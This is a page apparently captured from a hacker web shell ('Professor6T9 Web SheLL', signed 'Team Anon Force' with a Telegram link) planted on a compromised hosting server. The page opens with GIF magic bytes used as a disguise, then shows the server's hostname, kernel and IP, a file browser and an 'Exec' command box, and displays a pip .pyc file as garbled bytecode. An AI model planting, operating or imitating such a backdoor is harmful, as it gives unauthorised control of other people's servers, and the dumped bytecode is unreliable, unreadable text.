GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib64
/
python3.12
/
site-packages
/
pip
/
_internal
/
vcs
/
__pycache__
[ HOME ]
Exec
Submit
File Name : versioncontrol.cpython-312.pyc
� �0i�W � �� � d Z ddlmZ ddlZddlZddlZddlZddlZddl m Z mZmZ ddl mZmZ ddlmZmZmZ ddlmZ ddlmZmZ dd lmZmZmZmZmZmZm Z m!Z! dd l"m#Z#m$Z$m%Z%m&Z& dgZ' ejP e)� Z*e+ee, ee, f Z-dd�Z. d dd �Z/ dd�Z0 G d� de1� Z2 G d� de1� Z3 ed�� G d� d� � Z4 G d� d� Z5 e5� Z6 G d� d� Z7y)z)Handles all VCS (version control) support� )�annotationsN)�Iterable�Iterator�Mapping)� dataclass�field)�Any�Literal�Optional)�SpinnerInterface)� BadCommand�InstallationError)� HiddenText�ask_path_exists� backup_dir�display_path�hide_url� hide_value�is_installable_dir�rmtree)�CommandArgs�call_subprocess�format_command_args�make_command�vcsc � � t j j | � j }|sy|g d�t j z v S )z3 Return true if the name looks like a URL. F)�http�https�file�ftp)�urllib�parse�urlsplit�schemer �all_schemes)�namer$ s �O/opt/hc_python/lib/python3.12/site-packages/pip/_internal/vcs/versioncontrol.py�is_urlr( - s9 � � �\�\� "� "�4� (� /� /�F����5����G�G�G� c �R � |j dd� }| � d|� d|� �}|r|d|� �z }|S )z� Return the URL for a VCS requirement. Args: repo_url: the remote VCS url, with any needed VCS prefix (e.g. "git+"). project_name: the (unescaped) project name. �-�_�@z#egg=z&subdirectory=)�replace)�repo_url�rev�project_name�subdir�egg_project_name�reqs r'